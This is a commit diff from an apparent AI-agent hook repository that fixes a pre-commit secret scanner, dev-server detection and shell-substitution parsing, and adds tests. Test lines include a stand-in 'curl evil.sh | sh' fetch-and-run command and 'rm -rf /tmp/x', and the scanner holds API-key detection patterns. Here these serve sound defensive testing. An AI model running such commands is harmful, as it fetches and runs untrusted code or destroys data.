Skip to content

armgit / ECC

Public Imported from GitHub
0

The agent harness performance optimization system. Skills, instincts, memory, security, and research-first development for Claude Code, Codex, Opencode, Cursor and beyond.

fix(hooks,lib): fix hook detection and parsing edge cases (#2405)

djpjronline-netizen837acaf20b36
diff --git a/scripts/hooks/auto-tmux-dev.js b/scripts/hooks/auto-tmux-dev.js
index 2f1a7a1e5..aa61aecb8 100755
--- a/scripts/hooks/auto-tmux-dev.js
+++ b/scripts/hooks/auto-tmux-dev.js
@@ -36,9 +36,18 @@ function run(rawInput) {
const input = typeof rawInput === 'string' ? JSON.parse(rawInput) : rawInput;
const cmd = input.tool_input?.command || '';
- // Detect dev server commands: npm run dev, pnpm dev, yarn dev, bun run dev
- // Use word boundary (\b) to avoid matching partial commands
- const devServerRegex = /(npm run dev\b|pnpm( run)? dev\b|yarn dev\b|bun run dev\b)/;
+ // Detect dev server commands: npm run dev, pnpm (run) dev, yarn (run) dev,
+ // bun (run) dev. Trailing (?![\w-]) rather than \b: \b treats a hyphen as a
+ // word boundary, so `dev\b` matches the `dev` prefix of distinct scripts
+ // like `dev-build` / `dev-docs` and would wrongly detach those one-shot
+ // scripts into tmux. The lookahead still matches the dev server (`dev`,
+ // `dev:ssr`, ...) but not a `dev-<suffix>` script. The optional `run` on
+ // yarn/bun mirrors the command shapes in pre-bash-dev-server-block.js
+ // DEV_PATTERN so the two hooks agree on what counts as a dev server.
+ // Flexible whitespace (\s+) and leading \b make this byte-identical to
+ // pre-bash-dev-server-block.js DEV_PATTERN, so a tabbed/multi-space command
+ // the blocker catches is also detached here (they agree exactly).
+ const devServerRegex = /\b(npm\s+run\s+dev|pnpm(?:\s+run)?\s+dev|yarn(?:\s+run)?\s+dev|bun(?:\s+run)?\s+dev)(?![\w-])/;
if (devServerRegex.test(cmd)) {
// Get session name from current directory basename, sanitize for shell safety
diff --git a/scripts/hooks/pre-bash-commit-quality.js b/scripts/hooks/pre-bash-commit-quality.js
index c67b0f5a0..5780c1d5b 100644
--- a/scripts/hooks/pre-bash-commit-quality.js
+++ b/scripts/hooks/pre-bash-commit-quality.js
@@ -57,9 +57,32 @@ function shouldCheckFile(filePath) {
return checkableExtensions.some(ext => filePath.endsWith(ext));
}
+/**
+ * Decide whether a captured api-key value is an OBVIOUS non-secret placeholder so
+ * the heuristic generic api-key rule does not emit a false positive. Deliberately
+ * narrow: only suppresses whole-value env references / interpolations / angle-bracket
+ * tokens and a short explicit whitelist of placeholder + env-var NAME tokens. It must
+ * NOT suppress arbitrary high-entropy data (uppercase-hex, base32, digit-only, mixed
+ * tokens), since the generic rule is the only net catching non-prefixed secrets and a
+ * false-negative there is the safety-critical failure this hook exists to prevent.
+ * @param {string} value
+ * @returns {boolean}
+ */
+function isPlaceholderSecret(value) {
+ const v = (value || '').trim();
+ if (v.length === 0) return true; // empty value
+ if (/^process\.env\.[A-Za-z0-9_]+$/.test(v)) return true; // entire value is a process.env.NAME reference
+ if (/^\$\{[^}]*\}$/.test(v)) return true; // entire value is a ${...} interpolation
+ if (/^<[^<>]*>$/.test(v)) return true; // entire value is a <PLACEHOLDER> token
+ // Short explicit whitelist of placeholder + env-var NAME tokens (whole-value match only).
+ // No general all-caps clause: real all-caps/hex/base32/digit secrets must still flag.
+ if (/^(REPLACE_ME|CHANGE_?ME|YOUR[_-]?API[_-]?KEY|YOUR[_-]?KEY[_-]?HERE|API[_-]?KEY|SECRET|TOKEN|KEY|TODO|TBD|FIXME|XXX+)$/i.test(v)) return true;
+ return false;
+}
+
/**
* Find issues in file content
- * @param {string} filePath
+ * @param {string} filePath
* @returns {object[]} Array of issues found
*/
function findFileIssues(filePath) {
@@ -112,11 +135,21 @@ function findFileIssues(filePath) {
{ pattern: /sk-[a-zA-Z0-9]{20,}/, name: 'OpenAI API key' },
{ pattern: /ghp_[a-zA-Z0-9]{36}/, name: 'GitHub PAT' },
{ pattern: /AKIA[A-Z0-9]{16}/, name: 'AWS Access Key' },
- { pattern: /api[_-]?key\s*[=:]\s*['"][^'"]+['"]/i, name: 'API key' }
+ // Capture the quoted value so obvious non-secret placeholders can be excluded
+ { pattern: /api[_-]?key\s*[=:]\s*['"]([^'"]+)['"]/i, name: 'API key', valueGroup: 1 },
+ // Unquoted form (API_KEY=..., api_key: ... without quotes). Scoped to a
+ // single alnum/underscore/hyphen token of 12+ chars containing at least
+ // one digit — real secrets are near-always alphanumeric, whereas bare
+ // identifiers/expressions common in this hook's checkable languages
+ // (config.apiKey, getApiKey(), process.env.API_KEY) are pure-alpha or
+ // contain '.'/'(' that fall outside the character class, so they don't
+ // match. Kept deliberately narrow to avoid flagging ordinary code.
+ { pattern: /api[_-]?key\s*[=:]\s*(?!['"])((?=[A-Za-z0-9_-]*\d)[A-Za-z0-9_-]{12,})/i, name: 'API key', valueGroup: 1 }
];
- for (const { pattern, name } of secretPatterns) {
- if (pattern.test(line)) {
+ for (const { pattern, name, valueGroup } of secretPatterns) {
+ const secretMatch = line.match(pattern);
+ if (secretMatch && !(valueGroup && isPlaceholderSecret(secretMatch[valueGroup]))) {
issues.push({
type: 'secret',
message: `Potential ${name} exposed at line ${lineNum}`,
@@ -139,11 +172,14 @@ function findFileIssues(filePath) {
* @returns {object|null} Validation result or null if no message to validate
*/
function validateCommitMessage(command) {
- // Extract commit message from command
- const messageMatch = command.match(/(?:-m|--message)[=\s]+["']?([^"']+)["']?/);
+ // Extract commit message from command (quote-aware: when quoted, capture to the
+ // matching closing quote, consuming escaped chars (\") so an embedded escaped
+ // quote does not truncate the subject, and allowing the OTHER quote char inside
+ // the body; when unquoted, capture the full remaining tail, not just the first token)
+ const messageMatch = command.match(/(?:-m|--message)[=\s]+(?:"((?:\\.|[^"\\])*)"|'((?:\\.|[^'\\])*)'|([^"']+?)\s*$)/);
if (!messageMatch) return null;
- const message = messageMatch[1];
+ const message = messageMatch[1] ?? messageMatch[2] ?? messageMatch[3];
const issues = [];
// Check conventional commit format
@@ -445,4 +481,4 @@ if (require.main === module) {
});
}
-module.exports = { run, evaluate };
+module.exports = { run, evaluate, validateCommitMessage, findFileIssues, isPlaceholderSecret };
diff --git a/scripts/hooks/pre-compact.js b/scripts/hooks/pre-compact.js
index 235b2b097..2002ac3df 100644
--- a/scripts/hooks/pre-compact.js
+++ b/scripts/hooks/pre-compact.js
@@ -14,7 +14,7 @@
const path = require('path');
const fs = require('fs');
-const { getSessionsDir, getDateTimeString, getTimeString, findFiles, ensureDir, appendFile, readFile, writeFile, log } = require('../lib/utils');
+const { getSessionsDir, getDateTimeString, getTimeString, findFiles, ensureDir, appendFile, readFile, writeFile, getProjectName, log } = require('../lib/utils');
const { generateSessionSummary } = require('../lib/llm-summary');
const SUMMARY_START_MARKER = '<!-- ECC:SUMMARY:START -->';
@@ -24,22 +24,91 @@ function escapeRegExp(value) {
return String(value).replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
}
+/**
+ * Canonicalize a path (resolve symlinks); fall back to the input on failure.
+ * Mirrors session-start.js#normalizePath so worktree comparisons agree.
+ */
+function normalizePath(p) {
+ try {
+ return fs.realpathSync(p);
+ } catch {
+ return p;
+ }
+}
+
+/**
+ * Pick the session file that belongs to the CURRENT worktree.
+ *
+ * The sessions dir is shared across every project/worktree, so the newest
+ * `*-session.tmp` is frequently a DIFFERENT project's session. Matching by
+ * mtime (`sessions[0]`) therefore writes the compaction summary into the wrong
+ * project. Match on the `**Worktree:**` header (written by session-end.js)
+ * against cwd, mirroring session-start.js#selectMatchingSession:
+ * 1. exact worktree (cwd) match — newest wins
+ * 2. truly legacy sessions with NO Worktree header: same **Project:** name
+ * 3. otherwise null — do NOT annotate a foreign worktree's session
+ * A present-but-blank Worktree header counts as non-legacy (never a project
+ * fallback), so a foreign session is not matched by name.
+ *
+ * @param {Array<{path: string}>} sessions - newest-first session list
+ * @param {string} cwd
+ * @param {string} currentProject
+ * @param {(p: string) => (string|null)} [readFn]
+ * @returns {string|null} path of the chosen session, or null if none match
+ */
+function selectActiveSessionPath(sessions, cwd, currentProject, readFn = readFile) {
+ if (!sessions || sessions.length === 0) return null;
+ const normalizedCwd = normalizePath(cwd);
+ let projectMatch = null;
+
+ for (const session of sessions) {
+ const content = readFn(session.path);
+ if (!content) continue;
+
+ // (.*) not (.+): an explicit but empty header (`**Worktree:**` / `**Worktree:**\n`)
+ // must still register as present (hasWorktreeHeader) so it does not fall back
+ // to project-name matching against a foreign session.
+ const worktreeMatch = content.match(/\*\*Worktree:\*\*\s*(.*)$/m);
+ const hasWorktreeHeader = Boolean(worktreeMatch);
+ const sessionWorktree = worktreeMatch ? worktreeMatch[1].trim() : '';
+
+ if (sessionWorktree && normalizePath(sessionWorktree) === normalizedCwd) {
+ return session.path;
+ }
+
+ // Project-name fallback only for truly legacy sessions with NO Worktree
+ // header at all — a present-but-blank header is not treated as legacy.
+ if (!projectMatch && currentProject && !hasWorktreeHeader) {
+ const projectFieldMatch = content.match(/\*\*Project:\*\*\s*(.+)$/m);
+ const sessionProject = projectFieldMatch ? projectFieldMatch[1].trim() : '';
+ if (sessionProject && sessionProject === currentProject) {
+ projectMatch = session.path;
+ }
+ }
+ }
+
+ return projectMatch;
+}
+
const MAX_STDIN = 1024 * 1024;
let stdinData = '';
-process.stdin.setEncoding('utf8');
-process.stdin.on('data', chunk => {
- if (stdinData.length < MAX_STDIN) {
- stdinData += chunk.substring(0, MAX_STDIN - stdinData.length);
- }
-});
+if (require.main === module) {
+ process.stdin.setEncoding('utf8');
-process.stdin.on('end', () => {
- main().catch(err => {
- log(`[PreCompact] Error: ${err.message}`);
- process.exit(0);
+ process.stdin.on('data', chunk => {
+ if (stdinData.length < MAX_STDIN) {
+ stdinData += chunk.substring(0, MAX_STDIN - stdinData.length);
+ }
});
-});
+
+ process.stdin.on('end', () => {
+ main().catch(err => {
+ log(`[PreCompact] Error: ${err.message}`);
+ process.exit(0);
+ });
+ });
+}
async function main() {
let transcriptPath = null;
@@ -66,7 +135,14 @@ async function main() {
process.exit(0);
}
- const activeSession = sessions[0].path;
+ // Select the session for THIS worktree, not merely the newest across all
+ // projects (the sessions dir is shared). Skip when none matches rather than
+ // writing the summary into a foreign project's session file.
+ const activeSession = selectActiveSessionPath(sessions, process.cwd(), getProjectName());
+ if (!activeSession) {
+ log('[PreCompact] No session matches the current worktree; skipping annotation');
+ process.exit(0);
+ }
const timeStr = getTimeString();
if (!transcriptPath || !fs.existsSync(transcriptPath)) {
@@ -98,3 +174,5 @@ async function main() {
process.exit(0);
}
+
+module.exports = { selectActiveSessionPath, normalizePath };
diff --git a/scripts/lib/shell-substitution.js b/scripts/lib/shell-substitution.js
index 2689ccb55..0251e74e2 100644
--- a/scripts/lib/shell-substitution.js
+++ b/scripts/lib/shell-substitution.js
@@ -55,8 +55,12 @@ function extractCommandSubstitutions(input) {
if (i + 1 < source.length) {
body += source[i + 1];
i += 2;
- continue;
+ } else {
+ // Trailing backslash at end of an unterminated span: advance past
+ // it so it is not appended a second time by the fallthrough below.
+ i += 1;
}
+ continue;
}
if (inner === '`') {
break;
@@ -85,8 +89,12 @@ function extractCommandSubstitutions(input) {
if (i + 1 < source.length) {
body += source[i + 1];
i += 2;
- continue;
+ } else {
+ // Trailing backslash at end of an unterminated span: advance past
+ // it so it is not appended a second time by the fallthrough below.
+ i += 1;
}
+ continue;
}
if (inner === "'" && !bodyInDouble && innerPrev !== '\\') {
bodyInSingle = !bodyInSingle;
@@ -213,8 +221,12 @@ function extractSubshellGroups(input) {
if (i + 1 < source.length) {
body += source[i + 1];
i += 2;
- continue;
+ } else {
+ // Trailing backslash at end of an unterminated span: advance past
+ // it so it is not appended a second time by the fallthrough below.
+ i += 1;
}
+ continue;
}
if (inner === "'" && !bodyInDouble && innerPrev !== '\\') {
bodyInSingle = !bodyInSingle;
@@ -374,8 +386,12 @@ function extractBraceGroups(input) {
if (i + 1 < source.length) {
body += source[i + 1];
i += 2;
- continue;
+ } else {
+ // Trailing backslash at end of an unterminated span: advance past
+ // it so it is not appended a second time by the fallthrough below.
+ i += 1;
}
+ continue;
}
if (inner === "'" && !bodyInDouble && innerPrev !== '\\') {
bodyInSingle = !bodyInSingle;
diff --git a/scripts/lib/utils.js b/scripts/lib/utils.js
index a201e234e..5e29868eb 100644
--- a/scripts/lib/utils.js
+++ b/scripts/lib/utils.js
@@ -284,6 +284,7 @@ async function readStdinJson(options = {}) {
return new Promise((resolve) => {
let data = '';
let settled = false;
+ let overflowed = false;
const timer = setTimeout(() => {
if (!settled) {
@@ -293,7 +294,12 @@ async function readStdinJson(options = {}) {
process.stdin.removeAllListeners('end');
process.stdin.removeAllListeners('error');
if (process.stdin.unref) process.stdin.unref();
- // Resolve with whatever we have so far rather than hanging
+ // Oversized input is always rejected. Otherwise, resolve with whatever
+ // arrived before the timeout rather than hanging.
+ if (overflowed) {
+ resolve({});
+ return;
+ }
try {
resolve(data.trim() ? JSON.parse(data) : {});
} catch {
@@ -304,15 +310,34 @@ async function readStdinJson(options = {}) {
process.stdin.setEncoding('utf8');
process.stdin.on('data', chunk => {
- if (data.length < maxSize) {
- data += chunk;
+ if (settled) return;
+ if (overflowed) return;
+ // Mark oversized input as rejected and discard the buffered prefix.
+ // Continue consuming the stream without retaining later chunks so a
+ // finite parent can finish writing without EPIPE. Resolution happens at
+ // EOF or the existing timeout, which also bounds never-closing writers.
+ if (data.length + chunk.length > maxSize) {
+ overflowed = true;
+ data = '';
+ process.stderr.write(
+ `[readStdinJson] stdin exceeded ${maxSize} bytes; input truncated and treated as empty\n`
+ );
+ return;
}
+ data += chunk;
});
process.stdin.on('end', () => {
- if (settled) return;
+ if (settled) {
+ clearTimeout(timer);
+ return;
+ }
settled = true;
clearTimeout(timer);
+ if (overflowed) {
+ resolve({});
+ return;
+ }
try {
resolve(data.trim() ? JSON.parse(data) : {});
} catch {
@@ -323,7 +348,10 @@ async function readStdinJson(options = {}) {
});
process.stdin.on('error', () => {
- if (settled) return;
+ if (settled) {
+ clearTimeout(timer);
+ return;
+ }
settled = true;
clearTimeout(timer);
// Resolve with empty object so hooks don't crash on stdin errors
diff --git a/tests/hooks/auto-tmux-dev.test.js b/tests/hooks/auto-tmux-dev.test.js
index ac2b37fd3..3c47a8ac4 100644
--- a/tests/hooks/auto-tmux-dev.test.js
+++ b/tests/hooks/auto-tmux-dev.test.js
@@ -119,6 +119,14 @@ function runTests() {
assert.strictEqual(output.tool_input.command, 'npm run develop');
})) passed++; else failed++;
+ if (test('does not transform npm run dev-build (hyphenated script)', () => {
+ const input = { tool_input: { command: 'npm run dev-build' } };
+ const result = runScript(input);
+ assert.strictEqual(result.code, 0);
+ const output = JSON.parse(result.stdout);
+ assert.strictEqual(output.tool_input.command, 'npm run dev-build');
+ })) passed++; else failed++;
+
console.log('\nEdge cases:');
if (test('handles empty input gracefully', () => {
diff --git a/tests/hooks/hooks.test.js b/tests/hooks/hooks.test.js
index 82724226a..07d48dcd5 100644
--- a/tests/hooks/hooks.test.js
+++ b/tests/hooks/hooks.test.js
@@ -1247,7 +1247,9 @@ async function runTests() {
// Create an active .tmp session file
const sessionFile = path.join(sessionsDir, '2026-02-11-test-session.tmp');
- fs.writeFileSync(sessionFile, '# Session: 2026-02-11\n**Started:** 10:00\n');
+ fs.writeFileSync(sessionFile, buildSessionStartFixture('**Started:** 10:00', {
+ title: '# Session: 2026-02-11'
+ }));
try {
await runScript(path.join(scriptsDir, 'pre-compact.js'), '', {
@@ -3761,7 +3763,7 @@ async function runTests() {
// Create a session .tmp file and a non-session .tmp file
const sessionFile = path.join(sessionsDir, '2026-02-11-abc-session.tmp');
const otherTmpFile = path.join(sessionsDir, 'other-data.tmp');
- fs.writeFileSync(sessionFile, '# Session\n');
+ fs.writeFileSync(sessionFile, buildSessionStartFixture('', { title: '# Session' }));
fs.writeFileSync(otherTmpFile, 'some other data\n');
try {
@@ -4676,11 +4678,11 @@ async function runTests() {
passed++;
else failed++;
- // Round 41: pre-compact.js (multiple session files)
+ // Round 41: pre-compact.js (multiple sessions for the current worktree)
console.log('\nRound 41: pre-compact.js (multiple session files):');
if (
- await asyncTest('annotates only the newest session file when multiple exist', async () => {
+ await asyncTest('annotates only the newest session when multiple match the current worktree', async () => {
const isoHome = fs.mkdtempSync(path.join(os.tmpdir(), 'ecc-compact-multi-'));
const sessionsDir = getCanonicalSessionsDir(isoHome);
fs.mkdirSync(sessionsDir, { recursive: true });
@@ -4688,11 +4690,12 @@ async function runTests() {
// Create two session files with different mtimes
const olderSession = path.join(sessionsDir, '2026-01-01-older-session.tmp');
const newerSession = path.join(sessionsDir, '2026-02-11-newer-session.tmp');
- fs.writeFileSync(olderSession, '# Older Session\n');
+ const olderContent = buildSessionStartFixture('', { title: '# Older Session' });
+ fs.writeFileSync(olderSession, olderContent);
// Small delay to ensure different mtime
const now = Date.now();
fs.utimesSync(olderSession, new Date(now - 60000), new Date(now - 60000));
- fs.writeFileSync(newerSession, '# Newer Session\n');
+ fs.writeFileSync(newerSession, buildSessionStartFixture('', { title: '# Newer Session' }));
try {
const result = await runScript(path.join(scriptsDir, 'pre-compact.js'), '', {
@@ -4702,11 +4705,11 @@ async function runTests() {
assert.strictEqual(result.code, 0);
const newerContent = fs.readFileSync(newerSession, 'utf8');
- const olderContent = fs.readFileSync(olderSession, 'utf8');
+ const updatedOlderContent = fs.readFileSync(olderSession, 'utf8');
- // findFiles sorts by mtime newest first, so sessions[0] is the newest
+ // findFiles sorts matches by mtime, so the newest matching worktree wins.
assert.ok(newerContent.includes('Compaction occurred'), 'Should annotate the newest session file');
- assert.strictEqual(olderContent, '# Older Session\n', 'Should NOT annotate older session files');
+ assert.strictEqual(updatedOlderContent, olderContent, 'Should NOT annotate older session files');
} finally {
fs.rmSync(isoHome, { recursive: true, force: true });
}
@@ -6208,7 +6211,9 @@ Some random content without the expected ### Context to Load section
// Create a minimal session .tmp file
const sessionFile = path.join(sessionsDir, '2026-01-01-test-session.tmp');
- fs.writeFileSync(sessionFile, '# Session: 2026-01-01\n');
+ fs.writeFileSync(sessionFile, buildSessionStartFixture('', {
+ title: '# Session: 2026-01-01'
+ }));
// Create a minimal transcript with one user message
const transcriptPath = path.join(testDir, 'transcript.jsonl');
diff --git a/tests/hooks/pre-bash-commit-quality.test.js b/tests/hooks/pre-bash-commit-quality.test.js
index b845f9496..ebf17d26e 100644
--- a/tests/hooks/pre-bash-commit-quality.test.js
+++ b/tests/hooks/pre-bash-commit-quality.test.js
@@ -235,6 +235,40 @@ if (test('blocks commits with staged secret patterns across checkable files', ()
});
})) passed++; else failed++;
+if (test('blocks commits with an unquoted API key assignment', () => {
+ inTempRepo(repoDir => {
+ writeAndStage(repoDir, 'config.py', [
+ 'API_KEY=sk_live_1234567890abcdef',
+ ''
+ ].join('\n'));
+
+ const input = JSON.stringify({ tool_input: { command: 'git commit -m "fix: unquoted key"' } });
+ const { result, stderr } = captureConsoleError(() => hook.evaluate(input));
+
+ assert.strictEqual(result.output, input);
+ assert.strictEqual(result.exitCode, 2);
+ assert.ok(stderr.includes('Potential API key'), `expected unquoted API key warning, got: ${stderr}`);
+ });
+})) passed++; else failed++;
+
+if (test('does not flag ordinary unquoted apiKey code references', () => {
+ inTempRepo(repoDir => {
+ writeAndStage(repoDir, 'index.js', [
+ 'const apiKey = getApiKeyFromVault();',
+ 'this.apiKey = options.apiKey;',
+ 'const apiKey2 = process.env.API_KEY;',
+ ''
+ ].join('\n'));
+
+ const input = JSON.stringify({ tool_input: { command: 'git commit -m "fix: no secret here"' } });
+ const { result, stderr } = captureConsoleError(() => hook.evaluate(input));
+
+ assert.strictEqual(result.output, input);
+ assert.strictEqual(result.exitCode, 0, `expected exit 0 (no secrets), got ${result.exitCode}: ${stderr}`);
+ assert.ok(!stderr.includes('Potential API key'), `should not flag ordinary code as a secret, got: ${stderr}`);
+ });
+})) passed++; else failed++;
+
if (test('reports eslint pylint and golint failures from staged files', () => {
inTempRepo(repoDir => {
writeAndStage(repoDir, 'index.js', 'const lint = true;\n');
@@ -291,5 +325,52 @@ if (test('stdin entry point truncates oversized input and preserves pass-through
assert.ok(result.stderr.includes('[Hook] Error:'), 'truncated JSON should be logged and allowed');
})) passed++; else failed++;
+// --- Secret-scanner placeholder exclusion (false-positive fix, no false-negative) ---
+
+if (test('isPlaceholderSecret suppresses obvious non-secret placeholders', () => {
+ for (const v of ['process.env.API_KEY', '${API_KEY}', '<YOUR_KEY>', 'REPLACE_ME', 'CHANGEME', 'YOUR_API_KEY', '']) {
+ assert.strictEqual(hook.isPlaceholderSecret(v), true, `should suppress placeholder: ${JSON.stringify(v)}`);
+ }
+})) passed++; else failed++;
+
+if (test('isPlaceholderSecret does NOT suppress real high-entropy secrets', () => {
+ for (const v of [
+ 'sk-live-abcdef0123456789ABCDEF', // prefixed
+ '9F8A7B6C5D4E3F2A1B0C9D8E7F6A5B4C', // uppercase hex
+ 'JBSWY3DPEHPK3PXP', // base32 TOTP/HMAC seed
+ '1234567890123456', // digit-only token
+ 'PROD_7F3A9C2E_LIVE_8821', // uppercase-with-underscore token
+ 'AbCd1234EfGh5678' // mixed token
+ ]) {
+ assert.strictEqual(hook.isPlaceholderSecret(v), false, `must NOT suppress real secret: ${v}`);
+ }
+})) passed++; else failed++;
+
+// --- Quote-aware commit-message extraction (truncation fix) ---
+
+if (test('captures full double-quoted -m message containing an apostrophe', () => {
+ const res = hook.validateCommitMessage(`git commit -m "fix: don't crash on empty input"`);
+ assert.ok(res, 'expected a validation result');
+ assert.strictEqual(res.message, "fix: don't crash on empty input");
+})) passed++; else failed++;
+
+if (test('captures full single-quoted -m message containing a double quote', () => {
+ const res = hook.validateCommitMessage(`git commit -m 'fix: handle the "edge" case'`);
+ assert.strictEqual(res.message, 'fix: handle the "edge" case');
+})) passed++; else failed++;
+
+if (test('captures full double-quoted -m message with escaped inner quotes (not truncated)', () => {
+ const res = hook.validateCommitMessage('git commit -m "fix: say \\"hello\\" to the user"');
+ assert.ok(res, 'expected a validation result');
+ assert.strictEqual(res.message, 'fix: say \\"hello\\" to the user');
+})) passed++; else failed++;
+
+if (test('measures length of the full message past an apostrophe (not the truncated prefix)', () => {
+ const subject = "fix: it's a deliberately long commit subject that comfortably exceeds seventy-two chars";
+ const res = hook.validateCommitMessage(`git commit -m "${subject}"`);
+ assert.strictEqual(res.message, subject);
+ assert.ok(res.issues.some(i => i.type === 'length'), 'full (>72) message should trigger a length issue');
+})) passed++; else failed++;
+
console.log(`\nResults: Passed: ${passed}, Failed: ${failed}`);
process.exit(failed > 0 ? 1 : 0);
diff --git a/tests/hooks/pre-compact.test.js b/tests/hooks/pre-compact.test.js
new file mode 100644
index 000000000..c55d67b7c
--- /dev/null
+++ b/tests/hooks/pre-compact.test.js
@@ -0,0 +1,105 @@
+'use strict';
+/**
+ * Tests for scripts/hooks/pre-compact.js — worktree-aware active-session
+ * selection. The sessions dir is shared across projects/worktrees, so the
+ * hook must annotate the CURRENT worktree's session, not whichever file is
+ * newest by mtime. selectActiveSessionPath takes an injectable reader so the
+ * selection logic is tested without touching the filesystem.
+ */
+
+const assert = require('assert');
+const { selectActiveSessionPath } = require('../../scripts/hooks/pre-compact');
+
+let passed = 0;
+let failed = 0;
+
+function test(name, fn) {
+ try {
+ fn();
+ console.log(` ✓ ${name}`);
+ return true;
+ } catch (err) {
+ console.log(` ✗ ${name}`);
+ console.log(` ${err.message}`);
+ return false;
+ }
+}
+
+// Reader built from a path -> content map (returns null for unknown/unreadable).
+function reader(map) {
+ return (p) => (Object.prototype.hasOwnProperty.call(map, p) ? map[p] : null);
+}
+
+const A = '/ecc-pre-compact-test/work/projA';
+const B = '/ecc-pre-compact-test/work/projB';
+
+if (test('selects the session matching the current worktree, not the newest', () => {
+ const sessions = [
+ { path: '/sessions/newest-session.tmp' }, // newest, different worktree
+ { path: '/sessions/older-session.tmp' }, // older, our worktree
+ ];
+ const map = {
+ '/sessions/newest-session.tmp': `**Project:** projB\n**Worktree:** ${B}\n`,
+ '/sessions/older-session.tmp': `**Project:** projA\n**Worktree:** ${A}\n`,
+ };
+ assert.strictEqual(selectActiveSessionPath(sessions, A, 'projA', reader(map)), '/sessions/older-session.tmp');
+})) passed++; else failed++;
+
+if (test('returns null when no session matches the current worktree (no foreign write)', () => {
+ const sessions = [{ path: '/sessions/b-session.tmp' }];
+ const map = { '/sessions/b-session.tmp': `**Project:** projB\n**Worktree:** ${B}\n` };
+ assert.strictEqual(selectActiveSessionPath(sessions, A, 'projA', reader(map)), null);
+})) passed++; else failed++;
+
+if (test('falls back to a legacy session (no Worktree header) with matching project name', () => {
+ const sessions = [{ path: '/sessions/legacy-session.tmp' }];
+ const map = { '/sessions/legacy-session.tmp': '**Project:** projA\n' };
+ assert.strictEqual(selectActiveSessionPath(sessions, A, 'projA', reader(map)), '/sessions/legacy-session.tmp');
+})) passed++; else failed++;
+
+if (test('does not project-match a session that has an explicit non-matching Worktree', () => {
+ const sessions = [{ path: '/sessions/x-session.tmp' }];
+ const map = { '/sessions/x-session.tmp': `**Project:** projA\n**Worktree:** ${B}\n` };
+ assert.strictEqual(selectActiveSessionPath(sessions, A, 'projA', reader(map)), null);
+})) passed++; else failed++;
+
+if (test('does not project-match a session whose Worktree header is present but blank', () => {
+ // A blank/whitespace Worktree header is NOT a legacy session, so it must not
+ // fall back to project-name matching and attach to a foreign session.
+ const sessions = [{ path: '/sessions/blank-session.tmp' }];
+ const map = { '/sessions/blank-session.tmp': '**Project:** projA\n**Worktree:** \n' };
+ assert.strictEqual(selectActiveSessionPath(sessions, A, 'projA', reader(map)), null);
+})) passed++; else failed++;
+
+if (test('does not project-match a session whose Worktree header has no value and no space', () => {
+ // Same as above but the header is bare `**Worktree:**\n` (no trailing space) —
+ // (.+) would have missed this; (.*) registers it as a present-but-empty header.
+ const sessions = [{ path: '/sessions/blank-header.tmp' }];
+ const map = { '/sessions/blank-header.tmp': '**Project:** projA\n**Worktree:**\n' };
+ assert.strictEqual(selectActiveSessionPath(sessions, A, 'projA', reader(map)), null);
+})) passed++; else failed++;
+
+if (test('worktree match wins over a newer session AND over a legacy project match', () => {
+ const sessions = [
+ { path: '/sessions/legacy-session.tmp' }, // newest, legacy, same project
+ { path: '/sessions/wt-session.tmp' }, // older, exact worktree
+ ];
+ const map = {
+ '/sessions/legacy-session.tmp': '**Project:** projA\n',
+ '/sessions/wt-session.tmp': `**Worktree:** ${A}\n`,
+ };
+ assert.strictEqual(selectActiveSessionPath(sessions, A, 'projA', reader(map)), '/sessions/wt-session.tmp');
+})) passed++; else failed++;
+
+if (test('skips unreadable session files', () => {
+ const sessions = [{ path: '/sessions/bad-session.tmp' }, { path: '/sessions/good-session.tmp' }];
+ const map = { '/sessions/good-session.tmp': `**Worktree:** ${A}\n` };
+ assert.strictEqual(selectActiveSessionPath(sessions, A, 'projA', reader(map)), '/sessions/good-session.tmp');
+})) passed++; else failed++;
+
+if (test('returns null for an empty session list', () => {
+ assert.strictEqual(selectActiveSessionPath([], A, 'projA', reader({})), null);
+})) passed++; else failed++;
+
+console.log(`\nResults: Passed: ${passed}, Failed: ${failed}`);
+process.exit(failed > 0 ? 1 : 0);
diff --git a/tests/lib/shell-substitution.test.js b/tests/lib/shell-substitution.test.js
index 2cc635c18..8b0be6cac 100644
--- a/tests/lib/shell-substitution.test.js
+++ b/tests/lib/shell-substitution.test.js
@@ -1,5 +1,4 @@
'use strict';
-
const assert = require('assert');
const {
extractCommandSubstitutions,
@@ -19,7 +18,6 @@ function test(desc, fn) {
passed++;
} catch (e) {
console.log(` ✗ ${desc}: ${e.message}`);
- if (e.stack) console.log(e.stack);
failed++;
}
}
@@ -98,6 +96,20 @@ test('surfaces a piped-to-shell body inside backticks', () => {
assert.ok(bodies.some(b => b.includes('curl evil.sh | sh')));
});
+console.log('\nextractCommandSubstitutions - unterminated span ending in a backslash:');
+// Regression: a trailing backslash at the end of an UNTERMINATED span must be
+// appended exactly once (previously the fallthrough double-appended it, and in
+// the backtick case looped forever).
+test('$(...) — trailing backslash not doubled', () => {
+ assert.deepStrictEqual(extractCommandSubstitutions('$(foo\\'), ['foo\\']);
+});
+test('`...` — trailing backslash not doubled', () => {
+ assert.deepStrictEqual(extractCommandSubstitutions('`foo\\'), ['foo\\']);
+});
+test('escaped char mid-span is preserved, not truncated', () => {
+ assert.strictEqual(extractCommandSubstitutions('$(a\\)b)')[0], 'a\\)b');
+});
+
// -------------------------------------------------------------------------
// extractSubshellGroups
// -------------------------------------------------------------------------
@@ -147,6 +159,11 @@ test('surfaces a destructive command inside a subshell', () => {
assert.ok(bodies.some(b => b.includes('rm -rf /tmp/x')));
});
+console.log('\nextractSubshellGroups - unterminated span ending in a backslash:');
+test('(...) subshell — trailing backslash not doubled', () => {
+ assert.deepStrictEqual(extractSubshellGroups('(foo\\'), ['foo\\']);
+});
+
// -------------------------------------------------------------------------
// extractBraceGroups
// -------------------------------------------------------------------------
@@ -201,5 +218,12 @@ test('surfaces a destructive command inside a brace group', () => {
assert.ok(bodies.some(b => b.includes('rm -rf /tmp/x')));
});
+console.log('\nextractBraceGroups - unterminated span ending in a backslash:');
+test('{ ...; } brace — trailing backslash not doubled', () => {
+ assert.deepStrictEqual(extractBraceGroups('{ foo\\'), [' foo\\']);
+});
+
console.log(`\nResults: Passed: ${passed}, Failed: ${failed}`);
-process.exit(failed > 0 ? 1 : 0);
+if (failed > 0) {
+ process.exit(1);
+}
diff --git a/tests/lib/utils.test.js b/tests/lib/utils.test.js
index 54fa8dfca..158db6c73 100644
--- a/tests/lib/utils.test.js
+++ b/tests/lib/utils.test.js
@@ -1114,16 +1114,90 @@ function runTests() {
return true;
}
const { execFileSync } = require('child_process');
